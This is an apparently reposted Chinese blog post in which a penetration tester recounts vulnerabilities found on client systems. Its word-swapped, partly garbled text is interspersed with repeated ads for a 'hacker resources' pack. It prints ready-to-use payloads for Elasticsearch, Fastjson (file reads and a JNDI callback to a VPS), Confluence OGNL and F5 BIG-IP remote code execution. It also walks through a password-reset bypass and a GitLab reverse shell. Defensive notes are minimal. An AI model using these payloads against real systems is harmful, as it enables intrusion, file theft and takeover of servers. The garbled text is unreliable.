三流安全工程师的排泄测试记录,万字详解完整的排泄流程!
0x00 媒介熟悉笔者的朋侪都知道,我如今在测评机构做专职排泄测试,寻常的工作也只是侧重于验证漏洞存在即可,并不太涉及对漏洞的深入利用以及现实能产生的危害。但作为排泄爱好者,怎么可能仅仅满足于此。在时间、条件答应的环境下,我会在测评对象的范围内尽可能地找出高危,追求getshell,把客户体系当作靶场来搞(狗头)。本文记录了最近一段时间在工作中遇到的一些漏洞(相关漏洞如今均已修复,相关截图均已进行脱敏处理),没啥技术含量,纯脚本小子有手就行,大佬勿喷。
0x01 排泄测试记录
一、某企业暗码找回功能存在用户名枚举和任意用户暗码重置
功能界面如下:
https://i-blog.csdnimg.cn/img_convert/9a890842058118fbf948ca3c03a2da9d.png
我给各人预备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小同伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
1.用户名枚举
随意输入一个手机号,点击获取验证码,提示如下:
https://i-blog.csdnimg.cn/img_convert/4ff403a8f04ed854ecab2e8a0295fd71.png
假如号码存在,则会提示验证码发送成功。此处可以利用burp抓取获取验证码的包,然后用手机号码字典不断更换手机号码来枚举存在的用户名。
2.任意用户暗码重置
输入提供的测试账号,点击发送验证码,验证码随意填入123456,填好修改的暗码qwe123!@#后点击提交,起首会检查输入的验证码是否精确:
https://i-blog.csdnimg.cn/img_convert/9d3e015c524426166dc5d12b57538655.png
拦截此包的响应包,响应包返回2,这里改为1:
https://i-blog.csdnimg.cn/img_convert/e030df58138f96fc582cc435e51dcb0d.png
放行数据包,浏览器中提示找回暗码成功:
https://i-blog.csdnimg.cn/img_convert/9280ad53fbfcd62c68197e6cdb0405c9.png
利用刚才填入的暗码qwe123!@#成功登录:
https://i-blog.csdnimg.cn/img_convert/9cad3ff6c26e6cc91d58248e5ec3497f.png
此处找回暗码的逻辑是先发送一个数据包验证手机验证码是否精确,响应包返回1才会再发送重置暗码的数据包。这里假如是直接发送重置暗码的数据包,是否也能重置成功呢?
我尝试了下,直接发送重置暗码的数据包,此处暗码为md5加密,暗码原文为abc#123456:
https://i-blog.csdnimg.cn/img_convert/eaccb87d04351e8b6e2f1293e3250cf8.png
返回为成功,利用abc#123456确实登录成功。然而这并不意味着,无论何时,直接发送重置暗码的数据包都能成功的,这里能成功,是因为手机验证码一般都会有个有效时间,大概发送验证码后的十分钟内,直接发送重置暗码的包是能重置成功的。十分钟后虽然返回也是成功,但是登录不上。
给的修复发起是:
1.后端校验验证码是否精确;
2.去掉单独校验验证码的数据包,将验证码与修改后的暗码在同一数据包中发送给后端,后端校验验证码精确后直接修改暗码,不二次发包。
我给各人预备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小同伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
二、某企业内网存在Elasticsearch长途代码执行漏洞
这个是利用内网扫描神器fscan扫描出来(内网就是fscan一把梭哈),起先扫描的是fscan默认的端口,没啥结果,然后全端口扫描发现Elasticsearch的两个RCE。扫到洞,接下来不就是有手就行的事了嘛,payload在p神的vulhub里面就有。
1.Elasticsearch长途代码执行漏洞(CVE-2014-3120)
payload:
{
"size": 1,
"query": {
"filtered": {
"query": {
"match\_all": {
}
}
}
},
"script\_fields": {
"command": {
"script": "import java.io.\*;new java.util.Scanner(Runtime.getRuntime().exec(\\"id\\").getInputStream()).useDelimiter(\\"\\\\\\\\A\\").next();"
}
}
}
复现截图:
https://i-blog.csdnimg.cn/img_convert/3d3405d630f4eec18322b99ea2a6dec2.png
https://i-blog.csdnimg.cn/img_convert/5cc83c33e2aa2f2207209afbc885078b.png
2.Elasticsearch Groovy 沙盒绕过长途代码执行漏洞(CVE-2015-1427)
payload:
{"size":1, "script\_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"id\\").getText()"}}}
复现截图:
https://i-blog.csdnimg.cn/img_convert/c8f7fce6afdc6c10352bad4cfa884193.png
给的修复意见就是升级咯~
三、某企业外网Gitlab存在SSRF和长途代码执行漏洞
这两个洞是在被测体系所部署的服务器开放的另一个端口上发现的。SSRF是看到版本后去搜的,RCE是利用nuclei扫描提示漏洞存在,然后去网上找脚本来复现的(脚本小子用着别人的脚本,真香)
1.Gitlab CI Lint API未授权 SSRF漏洞(CVE-2021-22214)
Burp中发送如下数据包,dnslog中收到哀求:
https://i-blog.csdnimg.cn/img_convert/2d33acb8bde876ef1b248e295d21c491.png
该服务器是一台华为云服务器,没有内网,以是即使是存在SSRF也不能做什么事。SSRF我以为除了用来探测内网,读取文件现实中就没啥用了,什么SSRF攻击内网,SSRF打redis未授权getshell,靶场中才会有,现实根本遇不到。
2.Gitlab授权认证长途代码执行漏洞(CVE-2022-2185)
项目地点:https://github.com/star-sg/CVE/tree/master/CVE-2022-2185https://github.com/ESUAdmin/CVE-2022-2185
漏洞分析复现:https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/
Gitlab漏洞汇总:https://xz.aliyun.com/t/11690
复现过程:
起首注册一个pentest/pentest@1234用户,在vps上启动一个FAKE_SERVER:
https://i-blog.csdnimg.cn/img_convert/1eb838ed5e9b30f88e9204ea488930ce.png
Nc监听12345端口:
https://i-blog.csdnimg.cn/img_convert/d15d8819d16009bb0b828718db30c091.png
运行poc脚本,运行反弹shell命令:
https://i-blog.csdnimg.cn/img_convert/b1352de7e7cf3c39c4e9bba3795ce5db.png
FAKE_SERVER上收到来自目标机器的哀求:
https://i-blog.csdnimg.cn/img_convert/02fa0151e24dd625423f266ac074f5d8.png
4-5分钟后nc 接受到目标反弹回来的shell:
https://i-blog.csdnimg.cn/img_convert/d8469ab5eac6f5827fcbd4ab5659f4af.png
给的修复发起就是升级咯~
四、某企业外网存在Fastjson反序列化、内网Confluence长途代码执行漏洞
Fastjson反序列化是利用burp被动扫描插件fastjson scan扫描出来的,Confluence长途代码执行漏洞是fscan扫描出来的,然后网上去找payload(狗头)。
我给各人预备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小同伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
1.微信小程序fastjson反序列任意文件读取(雷同时间盲注)
该小程序哀求的domain1.target.com域名下的某个接口存在fastjson反序列任意文件读取,payload如下:
{
"abc":{"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///etc/passwd"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},"boms": \[
{
"@type": "org.apache.commons.io.ByteOrderMark",
"charsetName": "UTF-8",
"bytes": \[114,
\]
}
\]
},
"address": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://xxxx.oastify.com/"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": \[{"$ref":"$.abc.BOM\"}\]
},
"xxx":{"$ref":"$.address.BOM\"}
}
114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,dnslog上会收到哀求:
https://i-blog.csdnimg.cn/img_convert/48125ebab39622d000ba0f42f11b9e7b.png
当字节序列不匹配时,dnslog上接收不到哀求:
https://i-blog.csdnimg.cn/img_convert/649a1feb90614218cf73b607e0dd6354.png
尝试读取/etc/passwd的第一行,匹配的字节序列为:
“bytes”::
https://i-blog.csdnimg.cn/img_convert/430069b2e246dd9d6963f2deed721380.png
即读取到/etc/passwd第一举动:
root:x:0:0:root:/root:/bin/ash
2.管理后台存在fastjson反序列任意文件读取(雷同布尔盲注)
payload如下:
{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"file:///etc/passwd"},"charsetName":"UTF-8","bufferSize":1024},"boms":\[{"@type":"org.apache.commons.io.ByteOrderMark","charsetName":"UTF-8","bytes":\}\]},"address":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence":{"@type":"java.lang.String"{"$ref":"$.abc.BOM\"},"start":0,"end":0}}
114对应/etc/passwd第一行第一个字节r的ascii码,当字节序列匹配时,服务器返回状态为500:
https://i-blog.csdnimg.cn/img_convert/6ef29ab6badee04d9c548bf589d2a32a.png
不匹配则返回200:
https://i-blog.csdnimg.cn/img_convert/4fd911fec58a7abdb26906779a32e0a0.png
尝试读取/etc/passwd文件的第一行,匹配的字节序列为:
“bytes”::
https://i-blog.csdnimg.cn/img_convert/8c5fb1210972aa6cf27251f1009330c4.png
即读取到/etc/passwd第一举动:
root:x:0:0:root:/root:/bin/ash
3.微信小程序fastjson反序列化长途代码执行漏洞(fake mysql利用)
微信小程序哀求的domain2.target.com域名下的三个接口存在反序列化RCE漏洞:
服务端启动一个fake mysql:
https://i-blog.csdnimg.cn/img_convert/d4cb9e5d917239df0aea36ce6e120a7d.png
Burp中发送如下payload,让目标机器向目标域名xxxx.oastify.com发起一次DNS哀求:
{"x":{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"vps\_ip","portToConnectTo":3306,"info":{"user":"yso\_URLDNS\_http://xxx.oastify.com","password":"ubuntu","useSSL":"false","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true"},"databaseToConnectTo":"mysql","url":""}}
发送后,fake mysql服务器上接收到目标哀求,并将payload返回给目标机器,让目标机器执行:
https://i-blog.csdnimg.cn/img_convert/b94faea797d16a5286c52934a3ec77b4.png
过几秒后,r7zfjbp3hnp749lu4slz9rygr7xxlm.oastify.com接收到dns查询哀求:
https://i-blog.csdnimg.cn/img_convert/f16eeb5290df45a2e37da8ff7ee61836.png
fake mysql利用难的是找到一条利用链getshell,此处试了ysoserial中的所有链子,并没有找到一条利用链子。关于fastjson RCE的fake mysql利用方式可参考:
https://github.com/dushixiang/evil-mysql-server
https://github.com/fnmsd/MySQL_Fake_Server
我给各人预备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小同伴可以扫描下方二维码或链接免费领取~
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
4.某后台存在fastjson反序列化长途代码执行漏洞(JNDI注入高版本绕过)
项目地点:https://github.com/veracode-research/rogue-jndi
Vps上启动一个ldap服务:
https://i-blog.csdnimg.cn/img_convert/be8aab92ed4c027ed0a958a954a02154.png
Burp中发送如下payload:
{"name":{"\\u0040\\u0074\\u0079\\u0070\\u0065":"\\u006a\\u0061\\u0076\\u0061\\u002e\\u006c\\u0061\\u006e\\u0067\\u002e\\u0043\\u006c\\u0061\\u0073\\u0073","\\u0076\\u0061\\u006c":"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c"},"x":{"\\u0040\\u0074\\u0079\\u0070\\u0065":"\\u0063\\u006f\\u006d\\u002e\\u0073\\u0075\\u006e\\u002e\\u0072\\u006f\\u0077\\u0073\\u0065\\u0074\\u002e\\u004a\\u0064\\u0062\\u0063\\u0052\\u006f\\u0077\\u0053\\u0065\\u0074\\u0049\\u006d\\u0070\\u006c","\\u0064\\u0061\\u0074\\u0061\\u0053\\u006f\\u0075\\u0072\\u0063\\u0065\\u004e\\u0061\\u006d\\u0065":"ldap://x.x.x.x:2389/o=tomcat","autoCommit":true}}
Dnslog上收到哀求,且whoami被执行,权限为root:
https://i-blog.csdnimg.cn/img_convert/84aea113afd4afe7caddfa81e51599c4.png
5.内网Confluence存在CVE-2021-26084和CVE-2022-26134长途代码执行漏洞
(1)CVE-2021-26084
CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞,版本小于7.13.0,有多个接口存在这个OGNL表达式注入漏洞,重点关注以下三个路径:
在无需登录的环境下,访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action,假如存在,阐明存在该漏洞。
在登录状态下(需要是管理员或有权限访问/admin/console.action),访问/pages/createpage.action,也可进行漏洞利用。
payload:
queryString\=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022\-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
Burp中发送如下数据包:
https://i-blog.csdnimg.cn/img_convert/559ba625ed9f4ffc602f9ef1a9fee65b.png
可以看到命令被执行,权限为root:
https://i-blog.csdnimg.cn/img_convert/cd82862724de21bb8b472597a89822ea.png
(2) CVE-2022-26134
Confluence OGNL 注入漏洞,查看返回数据包X-Cmd-Response字段内容
payload:
GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf\-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X\-Cmd\-Response%22%2C%23a%29%29%7D/
Burp中发送payload,获取服务器root权限:
https://i-blog.csdnimg.cn/img_convert/13557d31ee8b2208fd99395f2f677db3.png
Confluence漏洞合集:
https://www.dianjilingqu.com/504336.html
五、某企业内网F5-BIG-IP 长途代码执行漏洞(CVE-2022-1388)
该漏洞答应未授权的攻击者通过接口对BIG-IP体系访问,并能执行任意体系命令、创建、删除文件以及关闭服务
payload1:
POST /mgmt/tm/util/bash HTTP/1.1
Host: ip:port
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c 'id' " }
payload2:
POST /mgmt/tm/util/bash HTTP/1.1
Host:ip:port
Authorization: Basic YWRtaW46
Connection: keep-alive, X-F5-Auth-Token
X-F5-Auth-Token: 0
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }
https://i-blog.csdnimg.cn/img_convert/a0b8476361082afb45199743f9bb3c35.png
至于内网中常见的弱口令,docker-api未授权,Nacos默认口令/未授权认证绕过,Spring actuator未授权访问等这些漏洞就不消说了。
0x02 总结
1.作为三流安全工程师,脚本小子,排泄嘛,就是拿着别人写的脚本、工具去扫描、去攻击,梭哈是艺术,找到洞是运气,找不到洞是常事。getshell了感觉自己又行了。
2.找不到洞又得写陈诉,什么中心件版本信息走漏、用户名枚举、明文传输、jquery版本存在xss、x-frame-options报头缺失点击挟制啥的写上。
3.做水水的事,写水水的陈诉是工作常态。不要紧,又活了一天已经很锋利了
网络安全学习资源分享:
给各人分享一份全套的网络安全学习资料,给那些想学习 网络安全的小同伴们一点帮助!
对于从来没有打仗过网络安全的同学,我们帮你预备了详细的学习发展门路图。可以说是最科学最体系的学习门路,各人跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋侪们假如有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
https://i-blog.csdnimg.cn/direct/f323fb5eec3845f5bb2feaf8714d6dda.png#pic_center
页:
[1]